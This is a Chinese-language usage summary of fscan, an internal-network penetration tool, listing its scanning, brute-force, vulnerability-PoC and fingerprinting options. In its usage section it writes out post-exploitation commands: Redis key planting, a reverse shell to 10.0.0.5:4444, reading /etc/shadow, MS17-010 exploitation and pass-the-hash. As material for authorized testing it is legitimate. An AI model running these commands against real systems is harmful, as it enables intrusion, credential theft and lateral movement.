用途：fscan 将内网渗透常用动作集成到单个无依赖 Go 二进制中，上传到目标机器即可运行，无需安装 nmap 或 Python。后渗透场景建议传到目标机器执行，而非本地走代理隧道，因为 SOCKS5 不支持 ICMP，存活探测会失效。项目地址：https://github.com/shadow1ng/fscan。
主要能力：默认 600 线程并发，支持存活探测、端口扫描、服务识别、弱口令爆破（SSH/SMB/RDP/MySQL/MSSQL/PostgreSQL/Oracle/Redis/FTP/MongoDB/Memcached）、漏洞 POC（MS17-010、Redis 未授权、WebLogic、Struts2 等，兼容 xray POC）、Web 指纹识别（WordPress/Drupal 及致远、泛微、通达、用友等国产 OA）、NetBIOS 域控识别。后利用支持 Redis 写公钥/计划任务、SSH 命令执行、MS17-010 利用、Pass-the-Hash、WMI 命令执行。
使用方式：基础扫描 fscan -h 10.0.0.0/24；快速模式加 -nopoc；静默加 -nobr；从文件读取用 -hf targets.txt。端口控制用 -p、-pa、-pn。模块控制用 -m ssh/ms17010/netbios/icmp/webonly。弱口令可自定义 -user/-pwd、-usera/-pwda、-userf/-pwdf，爆破线程 -br。POC 用 -pocname、-full、-pocpath、-proxy。后利用如 fscan -h 10.0.0.30 -rf ~/.ssh/id_rsa.pub、-rs 10.0.0.5:4444、-c "cat /etc/shadow"、-m ms17010 -sc add、-m smb2 -hash、-m wmiexec。网络调优用 -np、-ping、-t、-time、-wt、-socks5、-o、-no。
适用场景：内网立足点后的快速摸底、针对性弱口令、域控识别、跨网段扫描。限制：nmap 在精确服务版本识别（-sV）和 NSE 脚本生态上更强，推荐 fscan 快速全网段扫描后对高价值目标用 nmap 深度探测。其他未在资料中说明的限制暂未提供。